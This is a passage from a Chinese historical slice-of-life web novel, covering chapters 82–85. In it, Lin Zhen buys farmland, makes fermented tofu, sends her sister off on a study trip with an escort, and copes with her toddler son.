亲友都来瞧过后,林家暂且清静下来。 除了她屠户爹一日要来看三回孩子外,家里一切照旧。 林真也逐渐习惯了身邊儿睡着一只小崽子。 说来平安在大多数时候都是个乖巧孩子,可只有一样,他睡觉必要躺在林真边上。 先前家里是专门给打了一张小床的,还是按照西廂的床榻定制的。 可这崽子也不知怎的,一放在那小床上就哼唧,若是不赶紧抱起来,那得多伤心的哭一场,非要躺在那个熟悉的角落才肯罢休。 贺景自责:“许是他刚出生时,我放他在真姐儿边上睡了一觉,这才教平安认床了。” 他夜里便等小崽子睡着后,偷偷与林真换了位置睡。 起先,这小崽子还多不欢喜,回回都要哼唧几声,贺景抱着他转悠几回后,他似乎终于识得了自家爹爹,倒是不哼唧了。 可睡觉时,还是要往那角落去。 除了这点,平安是个很好帶的小孩儿,该吃吃该睡睡,甚少哭闹不休。 一家子都疼他,带孩子的人手又充足,林真这个亲娘,除了孩子吃奶时要抱,居然少有需要她搭把手的时候。 整个月子里,她连尿戒子都没换过。 出月子后,整个人丝毫不见憔悴,面色红润瞧着精气神十足。 是以,今年的祭祖她又推脱不得,照旧要在年三十那一早,去祠堂吹冷风。 “怎又要去?今年我可没干甚呀?”林真满是疑惑。 林有文拿了特意保存好的小報给她看:“小報上今朝写了你的事迹,现都赞咱们林家会教女。此事,对咱林氏一族的女儿,甚好。” 林真仰头,不大想去看那言辞甚是夸张的小报。 罢了,总归是好事一桩,去就去罢。 “对了,先前你提过想买田,这厢有人要出手四亩上好的水田,且还是连成片的,你可备足银钱了?”林有文又道。 “水田难得,且还是成片的,卖家要价不会低。” 这林真可有兴趣了,她忙道:“自是备下了。这样连成片的水田,是村里谁家要卖田地不成?我怎一点儿风声都没听见?” 林有文揣着手笑:“是陈家那头的人,他虽没定下心来,可想要去县里置宅,不卖田地,哪儿能凑足恁大一笔银钱?你等着罢,年后,他家定然有动作的。” 第82章 林真没等多久, 甚至平安的百日宴还未辦,陳甲首便等不及要賣田地了。 翻过年去便是惊蛰,那时便要开始侍弄水田, 预备着春分时节播种水稻。 节气不等人,春日胜黄金。 陳甲首若是再拖些时日,就不是他挑拣买主,反倒是买家要来挑拣他了! 买賣田地是绕不过里正的, 更别说林有文早先便留意着了, 陳家那头一有动静, 他便先给林真递了消息。 陳甲首听说是林真要买田,脸拉下来,不是很乐意。 “世伯,买田地的人虽多, 可您一气儿出手四畝水田,枣儿村里, 能将其一口气吃下的并不多。除了林真那头, 我实在是找不出第二家了。您若是不乐意賣与她家, 便只能放出消息去,教有意买田的人家都来分。”林有文老神在在, 一点儿不见着急。 这陈甲首, 手中急着用錢, 不想压低了价格出手, 连他们族里都没知会一声,不会为着一两分心底的不痛快便放过一次性出手的机会。 且此人极为好面子, 若是教村中想置地的人家都来分,那岂不是闹騰得沸沸扬扬的? 陈甲首不会愿意的。 果然,那眉眼嘴角都耷拉下来的老者, 沉默半晌后,道:“我那水田,低于六十贯是不賣的!若是那林家小女吃得下,便唤她来。” “您这话说得,田地不是我买,我说话也做不得准啊。这议价之事,还得您二位相商,您若是点头,我这才去请了林真来。” 陈甲首不说话,但也没反对。 林有文使唤家里小子去林真家里跑腿,他拍拍小儿的肩道:“机灵着些。” 他家小儿挑着眉点点头,一溜烟儿便跑走了。 “六十贯,每畝便是十五贯,您这价,着实不低呀。”林真捧着热茶,不急不缓道。 “哼!水田十二贯一亩,可这个价,在枣儿村是没有的。再说了,我那水田年年精耕細作,冬日里更是好生养着,不像那起子眼皮子浅的人家,还要种些莱菔、菘菜,地力肥着呢!又是连成片的,若不是离着我家其余的田地遠些,我如何会卖?要价六十贯,哪里贵了?” 陈甲首皱起眉来,眼皮子又耷拉着,便显出几分刻薄来。 林真倒还是那副不咸不淡的模样:“这个价,多等几年许是能卖,可现在,就是虚高。您也不必说那些地肥的话,我家不缺肥使,买了地来,好生养个一年半载的不就成了?何必多花十来贯买恁贵的肥田?也就是成片这一点儿,能算实在。” 陈甲首张口想驳,可想到林真家里那好大一个牲口棚,便说不出反驳的话来,只阴阳怪气道。 “是,你家是不缺肥使,还能推了粪肥卖。腌臜物也能换錢,说起生意经来,誰能比得过你!” 这说得是林真便宜卖粪肥给族人的事儿。 家里牲口禽类愈发多,林有田父子又勤快,沤得好肥。 林真自家的田地反而不多,便有那眼尖的,想来林真家里讨些粪肥去肥田。 外头一担子沤好的粪肥得卖八个錢。 林真琢磨了,不能开这个白送的口子,便打算将沤好的粪肥低价卖与村人。 她给林有田父子提了工錢,教他们也出钱买,这下,誰还能说甚? 自然了,林有田父子买肥用的是员工内部价,一直帮着给家里打草、砍柴的几户人家,林真也只收几个钱。 他们田地少,剩下的粪肥还多,便低于市价再卖与村人。 如此,于无形间消了隐患不说,还能赚几个小钱,又还教帮着家里做事几家人多感激。 林真此时听了,并不覺着冒犯,反笑着道:“您谬赞了,小门小户的,自然得精打細算,比不得您家大業大。” 陈甲首此时是银钱不凑手要卖地,听了这话,只覺林真在讽刺他,面色又黑了几分。 林真先前得了消息,晓得此时该急的不是自个儿,便不说话。 陈甲首沉默半晌,思及小儿子的哭诉,忍耐下来,沉声道:“你出得起甚价?” 林真轻啜了一口热茶,慢悠悠道:“这样,我出七十贯,您将边上那一亩多的旱地也卖与我。水田都卖了,单单剩下那点子旱地在一旁,还得费心打理,我一气儿包圆儿了也方便。” “甚?那旱地可有将近两亩!照样是上好的田地!”陈甲首快跳起来了。 “您老当心些。”林真稍微侧开身子避开些,“晓得您那处是好田,若是荒地,我如何会出这个价?” …… 倆人一番讨价还价,最终定下七十三贯,买下那一片水田和旱地。 林有文吹干纸上的墨迹,道:“二位落下名,又按下手印来,这可不能反悔了。银钱和地契都备好,咱明儿便去县衙过契。” 林真很爽快,率先签了名字按手印。 陈甲首盯着白纸黑字的契书,眼睛有些发直:祖祖辈辈都买田,到了他这头,居然是卖田。 他手有些颤,可最终,还是接过笔落下名儿来,又按了手印。 陈甲首瞧着林真,心里不痛快,道:“我此番卖地,是为着我儿日后高中!不像有些人,不在縣里买宅置業,反倒是在乡里乡间的摆阔!” 林真家里新起的宅子,粗摸估着都要将近一百五十贯了!有这钱,縣里都能买下一方小院来,陈甲首算了这笔帐,心里简直在滴血。 嘿!这老头,话里有话呢! 林真张了嘴才要嘲讽回去,可冷不防瞧见陈甲首鬓边的白发和眼中的落寞,突然又觉着没意思得紧。 她摆摆手,敷衍道:“是,您老有遠见,家中必定出个麒麟儿。明儿,您可别忘了时辰,将地契备好。咱尽早将事情辦好,您也早些去县里置业不是?” 陈甲首一拳打在棉花上,心里说不出的憋闷,一刻也不想多待,转身便走。 “嘿,这小老头,还挺不乐意呢!”林真撇嘴,她现在与林有文熟悉得很,便打听,“有文叔,这陈家小儿是谁?咱村儿里还真是卧虎藏龙,还藏着这等能高中的人物呢?” 林有文正收拾茶盏呢,听了林真这话,摇摇头笑道:“狭促!” 见林真一脸兴味盎然,晓得不说不成,便与林真说了几句。 “哦,二十来岁的童生,还说高中,我以为怎么着也得是个秀才公呢!”林真拖长了尾音,阴阳怪气。 “若是二十来岁的秀才,在咱这头,也能称得上一句年少有为了。”林有文语气唏嘘,“也不晓得此番陈家卖田置宅,能否教其称心。” 林真没说话,枣儿村离县里不远,驴车小半个时辰便能到,风雪天儿是要受些罪,可多裹几层衣裳也不是不能忍。 她又不是没在隆冬雪天里送过货。 若是家里有余钱便罢了,此番却要家里卖了田地,在县里买宅子供他读书。 这陈家小儿,也不怎么样嘛,还不如燕儿呢! 林真今儿没甚大事,索性问个明白:“有文叔,你也是童生,怎后头没考了?” 林有文笑着摇摇头:“真姐儿,读书举业本就艰难,于咱们这等农家子来说,更是难如登天。我天资不足,便只能止步于此;廖兄(族学夫子)天份颇高,可受困于财物,怕是也只能止步于秀才了。举人能入仕,可若要中举,天资、良师、益友、钱财和运道,缺一不可。” 他长叹一声:“难啊,难啊!” 林有文摇着头,思及年少时,不知天高地厚,暗地里发高中后打马游街的美梦。 现在想来,只觉好笑。 糟了,好像不小心勾起有文叔的伤心事儿来了,人刚还帮着她买地来着。 林真讪笑:“那啥,叔,我先家去了。燕儿今儿在家制櫻桃畢羅吃,家里还得了些好的双井茶,鲜爽回甘,配櫻桃畢羅甚好,您也嘗嘗燕儿的手藝。” 林有文打起精神来:“倒是还没尝过燕儿的手藝,今儿倒是巧了。” 林真急忙回家,顾不得满室的香甜,急急教人备下刚出炉的樱桃毕罗,又包了好茶,打发大壮赶紧送去林有文那头。 自家这才净了手,捏了一只樱桃毕罗来吃:蜜渍樱桃为馅儿,酥皮裹之,小火慢烘,外皮酥脆内里酸甜。 不愧是仇娘子的拿手点心之一。 林真细细吃完一个,又饮了清茶,这才舒坦地呼出一口气:“终于吃上了,燕儿的手艺愈发好了!” “我也这样觉着!”燕儿大方点头,美滋滋的。 林真又取了一只,才问道:“平安呢?还睡着?” “将才哼唧了几声,吴麽麽换了尿戒子,便又睡了。”燕儿盯着她,竖起三根手指头来,“阿姐,你只能吃三只哦。” 林真撇嘴:“哼,晓得了。有孕时不能吃,这厢要喂奶也不能多吃,这小崽子到底甚时候才能长大啊!” 人是经不住念叨的,平安百日宴一过,像是一恍神儿,春衫便又要换夹袄,恍惚着,这崽子忽然又要办周岁宴了。 这时候的小崽子好玩儿得很,能蹦出几个字儿来,又好似能听懂人说话似的,不时摇头晃脑的来逗人笑。 小崽子生得又好,一家子多喜欢他,这个做衣裳那个给添些软和吃食,都围着他转。 林真倒是能騰出手来,又开始折腾新品。 铺子开了三四年了,鲜鱼菜行那头,有稀罕的鳝鱼、甲鱼顶着,卢老又还开始折腾养虾,时常有鲜货,不肖她多费心。 肉摊子上,多了赵猎户送来的野味,也是有声有色。 只有最开始的干杂铺子,是许久没上新鲜货物了。 林真抬头,望着挂在梁上的篮子,也是时候上新品了。 第83章 取下篮子, 鼻尖先嗅到了发酵物特有的味道,醇厚的豆香帶着一丝丝酸。 林真心中一喜,掀开層層鋪就的稻草。 果然, 篮子里的小方块上长满了雪白的菌毛。洁白、浓密,瞧着毛茸茸的,这白黴生得真好! 林真已实验了两回,这回的白黴瞧着是最喜人的, 她这回的白腐乳, 滋味儿应当不会差! 乐滋滋取来清洗干净又晒干了的竹箸, 挟了豆腐先在烈酒中快速浸润,然后放入混了少许花椒末的细盐中快速一滚,教其六面都均匀沾满盐粒子。 裹了盐的豆腐块儿,层层码放在陶罐中, 封罐时,还要再淋一圈儿白酒和晾凉了的香料水。 香料水是由桂皮、八角、花椒熬煮而成的, 少淋一些, 增香添味儿。 丰乐楼的红方已卖了将近两年, 人手底下的大师傅也不是吃素的,其色愈丽, 风味也愈发独特, 她想从中分一杯羹, 该下料便得下。 如此, 才能借着红方的名,教白方, 一鸣惊人。 油纸封盖,又在坛沿上注水密封,接下来便是长达月余的等待。 白腐乳她今年开春便试着製过, 可许是用的稻草不是很好,豆腐发酵时的白霉瞧着便不好,二次发酵自然不理想,好不容易有一坛成了,可熟化后的风味,只能算差强人意。 自家吃吃便罢了,想拿出去与红方争市场,难! 今朝自家有水田,她特意留下今年的新稻草,入秋后,天儿一轉凉,便开始製白腐乳。 有了前头的经验,这回从器具、酒水和豆腐的选择上都做了改进,味道暂且不晓得,可单单瞧这白霉,便差不了! 忙活了一上午,可林真心情愉悦得很。 整好到了平安的饭点儿,她便凑过去,瞧着苗娘子用小勺给小崽子喂炖得软烂的肉糜粥吃。 见着娘亲过来,平安小朋友很是大方,啊啊叫喚着,推了自家的小碗请娘亲吃一口。 苗娘子在一旁,一个劲儿地夸他大方。 林真不是很想吃平安没滋没味儿的肉糜粥,凑过去,张大嘴,假装吃一口。 可誰晓得小崽子不好糊弄,瞧瞧自家的小碗,再瞧瞧林真,仰起头来,小眉毛皱着,很是不满意地啊啊叫喚。 苗娘子笑道:“咱安哥儿聪明着呢,边上有勺子,你舀一勺吃。这是燕儿教给吴麽麽的,没那肉腥气。” 林真无法,只得取了勺子,在小崽子的监督下,舀了一勺子肉糜粥吃。 “果然不錯,有你姑姑给弄得这些好吃食,你可有口福了。” 平安这才满意,又冲着苗娘子啊啊叫,这是催人喂他呢。 苗娘子笑呵呵,赶紧舀了粥来哄人,她现在,是觉着萬事皆足。 燕儿现不仅厨艺了得,裁剪刺绣样样不差,且说话做事自有章程,端得是落落大方。 搁在前几年,她萬萬是不敢想,自家闺女儿能出落得这般从容大方,与从前那个总往人身后缩的小丫头,简直是两个人。 还有自个儿,现居然只需要幫着照管平安,就这,还有邹娘子和吴麽麽在一旁幫忙。 不需劳作,且家里人都和气,没甚烦心事儿,她整个人瞧着,居然比几年前刚来枣儿村时,还显年轻。 现出去走动,誰不羡慕她? 逗了一会儿小崽子,林真瞧着时间不早了,便唤范三哥来,帮着装几只鸡鸭兔子,再有一盆新制的蒟蒻豆腐,預備着送去縣里的鋪子上。 “兔子多装一笼子,近日怕是好些人家要新鲜兔子涮来吃。” 冬日里,鋪子上生意本就好,且因着天儿冷,人便愈发喜欢吃熱乎的,蒟蒻豆腐烧鸭子,红枣炖鸡汤,还有兔子。 前儿落雪,王柘一篇兔肉拨霞供,又引得看客食指大动,不少人争相效仿要买了兔子吃涮肉。 “东家,天儿这样冷,俺识得路,不若教俺送去?” 范三哥是林真家里新雇来的佃农,冬日里事儿本就少些,且林家的水田还不种菜,他便只用侍弄那一畝七分的旱地。 可东家旱地也不种油菜甚的,反教种蚕豆和野菜,这两样好养活得很,范三哥手脚又快,一天天下来,倒显得他不做活似的。 范三哥心里发慌,他家里穷得很,地没几畝偏生孩子又多。他不上不下的,便是再卖力干活儿,也被家里早早打发出来自谋生路。 如今撞了大运遇见如此宽厚的主家,万万不敢弄丢了这差事儿的。 林真笑着摇摇头:“不必,我自家慢慢赶着车倒是畅快些,你就留在家里,守好门,邹娘子磨豆腐时,帮着搬动些重物就成。” 田地一年到头都需要盯着,只有事多事少的区别,这范三哥一年到头也只有这些日子能稍微松快些,居然还上赶着找活儿来做。 林屠户从前置下来的那八亩田,一直是大伯种着,林真也没动,只教范三哥侍弄新置下来的四亩水田和一亩多的旱地。 可人多勤快,问了林真后,还将从前老宅子那头的后院又拾掇出来种菜。 后院儿因修牲口棚被占去大半,剩下的那点子地,林家人也没时间收拾,这厢教范三哥打理得多好。家里坏了的陶缸,他堆了土,种小葱香荽,就放在倒座房那头,瞧着还怪是好看的。 对这人,家里人是再没甚不满意的。 连卢老冬日里也会帶着水生回来住倒座房那头,与范三哥当邻居。 现水生已不怎么怕人了,且因着卢老教得好,还晓得帮着家里干活儿,林真出门时,就瞧见水生帮着搬蒟蒻豆腐。 卢老将他养得很好,穿得暖和,身上脸上也长了肉,见人就笑。 林真从荷包里摸了一小包松子糖出来:“乖,拿去吃。” 水生将手背到后头,结结巴巴道:“给,给,弟弟,吃。” 林真塞在他手里:“你拿着自家吃,弟弟还小,不能吃呢!” 卢老也点头,水生这才接过去,还道:“谢,东东。” “哎呦,东家,东家!”卢老在一旁跳脚,可也不见得多生气。 林真笑眯眯点头,认了‘东东’这个称呼。 将自个儿裹好,赶車驴車入了城。 先去铺子里卸货,一眼就瞧见罗四娘在铺子里。沈山平砍着肉,还不錯眼地盯着瞧。 林真笑道:“哎呦呦,是谁先前说若是有孕恨不得趟着不动身的?怎今朝又到铺子上来晃悠了?你瞧瞧沈大哥,一双眼不盯刀子只盯人,可别伤了手。” 沈山平不服气地嘟囔:“我便是闭着眼,也能将这肉给剁好。” 罗四娘不好意思道:“那啥,天儿这样冷,我就是煮些熱茶汤来招待客人。这活儿多轻巧,哪里就做不得了?” 原先林真有孕,她笑真姐儿闲不住。这朝自家有孕了,在家里只待了两日,便浑身不自在,车上铺了褥子还是要往縣里跑。 林真自然晓得闲不住的人是甚样,打趣一句,瞧罗四娘自个儿也当心,便不再多说,只叮嘱道。 “铺子里现人手足,便是早市那头也支应得开,你不肖多费心,放心往后院儿歇着去。” 轉悠一圈儿后,最后才去寻贺景。 “如何?”贺景瞧见林真眼角眉梢都是笑意,晓得这人定然将那甚白方制成了,就等着人问,便很是上道。 林真将眉一挑,手一背,踱着步子,将派头做足了,才道:“这回瞧着,错不了。” 两人说了几句话,贺景又问:“平安今日如何?” “好耍得很,出来时在吃肉糜粥,还大方分了我一勺子,不吃还不成。”林真道,可随即又皱眉,“可就是不说话,逗他许久,光会啊啊叫唤。若不是瞧着他那股子机灵劲儿,我都要怀疑生了个傻小子了。” “这说得甚话!贵人语迟,咱平安那是稳重!” 林屠户才从别处收了猪来,想着徒弟媳妇有孕,便径直来了铺子里,想教人早些家去。好嘛,一进来,先听见自家这愈发小孩心性的闺女在说大孙子坏话! “爹,您来了啊,快喝盏子热茶暖暖。”贺景赶忙捧了热茶汤来。 林真撇撇嘴:“我又没说甚。” 还贵人语迟,这是一个意思麽?她爹,哼,自从有了平安后,那真是万事万物都要排在他孙子后头。 林屠户还虎着脸,有心再说几句,林真赶紧溜了。 “我得去慈幼院一趟,再去接燕儿下学,不陪您说闲话了!” 熟门熟路去了慈幼院,转悠了一圈儿,瞧见今冬慈幼院里的粮食和炭火多了不少,心下稍安。 瞧他们县尊大人这一手,真真厉害,年年一篇记事,像是吊在驴子前头的萝卜,这些年,大小商户都没忘记往慈幼院送粮送炭。 “真姨,看!”冬平举着小手给林真看,她也会分布头了! 冬平便是林真那年救下的女婴,在张女医和周麽麽的看顾下,也长大了。 林真时常来慈幼院,不仅是送米捐衣,还时常来瞧她,她也亲近林真。 瞧着口齿伶俐,手脚也伶俐的冬平,林真更想叹气了。 冬平一岁多的时候,已经会唤她姨姨了! 林真转去仇娘子那头时,正是下学的时候。 仇娘子听得林真来,便唤女使请林真入内说话。 仇娘子備了茶水点心,不急不缓道:“我近日要往江宁府一趟,这趟人手充足,也預备带着学生走一遭,长写见识。家里若是放心,便要着手准备行李,十日后出发。” 林真眼睛一亮,老师带着游学?还有这样的好事? 不过她没急着一口答应,反而问道:“读万卷书,行万里路,娘子此举大善!只燕儿还小,我当姐姐的便得多想些,少不得多问娘子几句。您这一路陪同有谁?预计要去多久?又会途径哪些地方呢?” 仇娘子不觉冒犯,眼中隐含笑意:她就晓得,学生当中,反倒是门户最低的林家,很有些远见,也很乐意教女子多看多学多长见识。 连立在仇娘子一旁,那个面生却气度不凡的麽麽,都意外地瞧了林真一眼。 第84章 林真接了燕儿一道往铺子那头去。 路上问起游学之事:“听仇娘子的意思, 这一去至少三个月。” 她掰着手指头算:“如此,怕是只能在路上过年了。不过无碍,那时仇娘子該是帶着你们到了江宁府, 那處多繁华,定然不缺热闹!” “阿姐,我不去。”燕儿瞧着她阿姐興高采烈地模样,心下微酸, 可还是说出在心底纠结許久的话。 “嗯?”说得起劲儿的林真诧异, 她想了想, 问道,“燕儿能告诉阿姐,为何不去麽?阿姐要听实话。” “我……我不想去。” 瞧见阿姐清凌凌的双眼,燕儿早先想得好好得话, 一下子被堵在喉咙,她低下头, 不敢去看阿姐。 “是麽?阿姐还记得我小时候, 若是能跟着爹爹娘亲去趟县里, 能興奋得半夜也睡不着。燕儿不是也很喜欢出去的麽?怎这会子却不願去了?”林真又道。 “良師、益友还有广阔的天地,这样好的机会, 許是一辈子只能遇见一次呢!” “就是因为太好了!我才不願去。”燕儿眼眶红红。 她阿姐都没去过, 可家里最辛苦的是阿姐。燕儿盯着自个儿的手, 她一个铜板都没赚过, 又怎能心安理得地使着家里的银钱去江宁府呢? “傻丫头啊!”林真还像小时候那样揪了揪燕儿的头发,“你才十三, 哪里需要考虑这么多?况且,你跟着我摆摊、料理家事、给平安缝小衣裳……下厨制衣样样都行,这些怎不算劳作?况且, 我愿意照顾你,是我的选择,你无需为此不安。” “再说了,我若是愿意,我自会去踏遍这大好河山!” “阿姐……”燕儿仰头,瞧着格外洒脱不羁的阿姐,眼里满是仰慕。 林真一笑:“乖啊,阿姐厉害着呢!你尽管好好长大。” 燕儿隨着仇娘子游学之事,在林真拍板下,就这样定下来。 自理能力颇强的燕儿,连行囊都不肖家人多操心,自个儿列了單子,請仇娘子过目后,便一样一样自家去采买。 “咱家燕儿,着实教人省心。”林真感叹,又琢磨着教谁跟着去照顾燕儿。 这一路出行,已是沾了仇娘子的光,自然不能再给人添麻烦。 是以,燕儿身边必得帶一个人跟着,贴身照料她,这也是仇娘子的意思。 出行时日不短,一路上难免有个头疼脑热的,就是燕儿再能自理,也得教人跟着,多一只眼睛瞧着也是好的。 可挑来选去,家里居然没有称心的人手,且十日为期,时间又紧,去尋钱牙婆也来不及。 林真顾不得失礼,携了礼物上威远武馆拜访申娘子,也就是杨旭他娘。 申娘子雖是杨典史家的媳妇儿,可人也是威远武馆的教头,她雖是出嫁女,可因着颇有習武的天赋又擅教人,武馆倒是多赖着她来打理。 “嗯?林娘子要尋一位会些拳脚功夫的女子,跟着你家妹子一路出行?”申娘子意外,可转念一想,也知道林真为何不去镖局反来武馆了。 镖局自然也接这等護送人的差事,可若是要寻女镖師,那确实是,没有。 林真点头,道:“是,我想着您是練家子,还是个中好手。短时间内,若是要寻女武者,整个儿慈溪县内,怕是只能找您了,这才贸然拜访,还請您见谅。” 她晓得申娘子自幼練武,且嫁人生子后还没落下练功,这才来撞撞运气。 至少,在申家这头,对女子習武該是没恁抵触的。 若能给燕儿寻一位有些身手的女子贴身護着是最好的,若是不成,也只能教邹娘子跟着了。 申娘子眯着眼,打量着面前的女子,倏而一笑:“人人都道女子不能习武,应当温婉柔顺,对我这等习武的女子,最是鄙夷的。可偏偏我却能将他们都打趴下,原以为我是个怪人,哪晓得,这儿还有一个怪人!” 她似乎很是高兴,畅快一笑,冲着外头喊道:“秋英,进来!” 话音刚落,一位上着短袄下着长裤的女子进门来。 许是因着要见客,她腰间系着一旋裙,可袖口和小腿都用系带紧束,行走间很是利落,她进得门来,抱拳道:“教头!” 申娘子指着她道:“这是我义妹,与我一同长大,也跟着我练了几招。林娘子若是瞧得上,这一趟便教她護你妹子一程。” 林真自这名唤秋英的女子进门来时,就在暗中打量她了。 秋英个儿不高,肤色如蜜,瞧着不打眼,可略显壮实的身形,在行走间却给人一种轻盈无声之感。 可靠! 林真眼睛一亮:“多谢申娘子,有秋英護着,那是再好不过!” 与秋英定下出行的日子后,林真本要告辞,可申娘子又多留了她一盏茶的功夫。 “林娘子觉着,像你这样要寻女武者的人家,多麽?” 申娘子习武多年,可除了在自家武馆当个教头,从来没有其他能有用武之地的时候。 这些年下来,似乎印证了父兄的那句话:“女子习武,便是天赋再高又有甚用?难不成,你还去男人扎堆儿的镖局跟着走镖?” 她不甘心,可即便将武馆众人打服了,除了教他们不甘不愿唤一声‘教头’之外,似乎真没甚用。 她还是被困住了,不是在这一方武馆里,就是在杨家的后院里。 林真正要起身,听了申娘子的话后,又稳稳当当地坐了回去。 “怎不多?这世上又不是只有男子出行,女子虽行走得少,可也不是没有。就像我,若是县里能有女镖师,我先前自个儿套了驴車便能去外县买鱼卖货,哪里还会觉着分身乏术? 还有,大户人家里头,若是贵女身边能有一会武的女使护着,应当也会更放心些?总之,有一技之长,且还是能护得己身的长處,行走间,便比旁人多份儿底气,这如何不好?” 申娘子眸中精。光一闪,这些年的困扰迷茫似乎在此时,破开了一线天光。 她低头沉思,笑道:“林娘子果真是位妙人,往后,申某怕是少不得要上门叨扰,到时,还请勿怪。” “这有甚?申娘子这样的人物,我钦佩得很。您若上门拜访,我自当扫榻相迎。” == 送燕儿走的那天,是冬日里难得的大晴天。 家里車辆多,一家子便都来送燕儿,连平安都来了,被包成圆滚滚的一团,轻易动弹不得,只能趴在贺景怀里。 仇娘子六名学生,只有三名跟着她出来。三位小娘子又都只带了一位长者照料,可这支车队却是声势不小。 仇娘子那头,隨行人员足有十二人,六男六女。 女使穿着虽不显奢靡,可瞧着行走说话便显不凡;男子更是了不得,均有护具佩刀! 大虞朝对兵器管制之严,县衙的巡栏还只有水火棍呢! 这随行的护卫,居然个个儿配刀? “乖乖!瞧这排场,仇娘子到底是何人?”直到车队瞧不见了,苗娘子才小声儿道。 “我也不晓得啊。”林真也是咂舌,仇娘子先前只说是家里兄弟打发人来接,有护卫女使,定会护着学生周全。 她瞧见仇娘子身边那气度不凡的麽麽,又听得一路的路线和落脚处安排得甚是妥当,便信了。 可仇娘子没说,这护卫是这等级别的呀! 瞧这排场,仇娘子那兄弟定然不简單。 嗯,也不晓得,那三位没跟着去的学生,现下是否后悔了。 仇娘子的学生后悔不后悔暂且不说,此时听闻仇娘子娘家兄弟起复,驚得茶盏子都险些打翻的,另有其人。 “竟是江宁府的府尹!”林怀筠驚呼出声,少见的,失态了。 那可是江宁府,曾经的都城。与别处府尹自是不同,单从官职上来说,便是正四品的大员! 仇娘子她自是晓得的,大家出身,可惜命途多舛,与丈夫和离后,与娘家也是几近决裂。 她当年孤身至此的时候,林家倒是暗中照料过一二,可一年又一年,瞧着仇娘子与娘家压根不见往来,这份照拂便愈发淡了。 当年,她的芸姐儿要寻老师时,她也动过送去仇娘子那头的念头,毕竟是曾经名满京都的才女。 可最终,她还是狠了心,将芸姐儿送往京都本家那头去了。 哪里能想到,仇娘子的兄弟守孝期满,一朝起复竟是江宁府的府尹?更没想到,他居然早早便打发了心腹来接仇娘子归家? “终究是我短视了,教芸姐儿错过了这样一桩师徒之缘。”林怀筠喃喃低语。 林掌柜硬着头皮又道:“去送礼的人扑了个空,仇娘子那学堂早空了。听闻,是要带着学生一路游学,直至江宁府。” “倒是好运。”林怀筠一叹,又打叠精神吩咐,“去打听着,都有哪些人家,很该走动起来。” “六名学生,只有三名跟着一道去了,礼均已备下。只有一家,有些特殊。”林掌柜顿了顿,尽量平静道。 “是从前与咱家有旧的林家小友,她送了自家妹妹去学堂,这回,她那妹妹,也跟着一并去往江宁府了。” “谁?竟是早有渊源……”林怀筠原有些高兴,可瞧着林掌柜的面色,她一惊。 “是谁?卖葛粉的那个林娘子?屠户出身的那个?” == 林真今儿没能去铺子里守着,只能在家带孩子。 “该,谁叫你招惹他?”林屠户在一旁哼哼。 林真无奈,搂着平安,双手发软:“儿啊,你真挺沉的,换你阿爷抱,成不?” “不,要!”平安小朋友答得很是响亮,吐字格外清晰—— 作者有话说:平安崽子终于开口,究竟是为何? 第85章 平安小朋友終于开口了, 可却又化身树懒,并且将娘亲当成树,轻易扒拉不下来, 你道是为何? 是因着当娘的欠了吧唧的。 那日,带着平安去送燕儿。 一开始,小崽子还没反应过来,瞧着燕儿走远, 也只当姑姑是像往日一样出门去了, 下半晌就家来。 可到了时辰, 小崽子始終等不见姑姑家来。 便伸着小指头,指着门口,要去等每日都喂他吃好吃的姑姑。 平安小朋友是个执着的崽,翘着小指头就是要往门口去。 苗娘子无法, 领了他去门口,并一遍遍的告诉这崽, 姑姑出门去了, 近些日子不回来了。 好不容易等小崽子累了, 拿着吃食哄进室内,平安才刚吃上呢。 林真回来了。 听了自家崽子的事儿, 欠欠儿地道:“姑姑走咯!娘也走了, 留个不说话的小崽子看家。” 说还不算, 又真站起来, 作势要走,嘴里还不住道:“走咯, 走咯!” 平安睁了一雙圆溜溜的眼睛盯着瞧,林真一只脚刚跨过门槛,他突然大喊:“娘!不要, 不要!” 林真还没来得及惊喜自家崽子终于开口了,随即便听得一阵儿惊天动地的哭喊声。 平安小朋友,哭得眼睛鼻子都紅了,整张小脸儿满是泪水,瞧着好不伤心。 除了刚出生那会子,他还从未这样哭过。 林真赶紧转身回去哄,可小崽子真伤心了,这厢哭起来,哪里是这样好哄的? 他声儿又大,泪珠子一串一串儿的,引得一家子多心疼。 且人这下不干了,不是那个谁都可以抱抱的大方崽了。 他只认林真,一雙小手紧紧扒拉着林真,谁来抱他,必然哭得更大声。 連賀景一开始都没能将他抱下来,后来許是哭累了,林真又伸手拉住他的小手,他才给賀景抱。 贺景抱着他,在屋里左一圈儿右一圈儿的转悠,拍着,哄着,晃悠着,直至月上中天,才将人哄睡。 且他睡得还不踏实,哼哼唧唧直往人怀里钻。 翌日,林真双眼无神,一脸疲惫,满心都是后悔:“我可再也不嘴欠了。” 她真的,从来没这样彻夜不眠过,只觉着累得慌。 贺景道:“他还小,哪里懂得你是与他顽笑?只当你同燕儿一样,真要走了,这能不伤心麽?往后了别这样逗他了。” 林真这下是真曉得小崽子磨人是甚样儿了,投降道:“我发誓,再也不逗了!” 这厢她是不逗平安崽子了,可人却依旧出不得门去,連着在家好几天,都在哄平安。 是以,林福来送禮的时候,整好撞上了在家还债(带孩子)的林真。 林福是来过林真家里的,且还不止一次。 这回来,瞧着大变样的林家,又瞧着添了人力女使来使喚的林真,心里感慨万千。 他叉手行禮,十分客气道:“林娘子安好。小人奉主家之命,特来贺贵府女郎寻得名师。” 林真笑笑,这些日子寻到家里来的人多得很,她早料到了会有此一出。 遂早早交代了,凡是打着幌子来贺燕儿的,一律不见,礼也不收。 为这事,还专门喚了机灵的大壮回来守门。 此番是听得林福前来,她才破例请了人进来,吃盏子熱茶汤。 “福小哥恁多礼。”林真笑着以旧时的称呼寒暄,“只是不巧,家妹随着老师出门去了,现下不在家,这厢倒是累得你白跑一趟。” 拒绝的话一出,林福自是曉得不能多加纠缠,且他出来时,林大掌櫃也说过,寻常相待即可。 当下也顺着林真的话寒暄几句,便客气告辞。 林真瞧着他,倒是一歎。 她始终记着林福和林掌櫃在她微末之时的以礼相待,且她是真觉着俩人值得结交。 可惜了,身不由人。 怀里的平安听见了林真歎气,他皱起小眉头来,仰着头,嫩生生道:“不哭。” 林真哭笑不得,她哪里哭了? 可瞧着小崽子格外认真的圆脸蛋儿,只得低头好声好气道:“好好好,是娘不对,咱接着玩儿啊!” 她陪着平安,倒是很快将林福来访的那点子唏嘘忘了。 可回去复命的林福却没忘记。 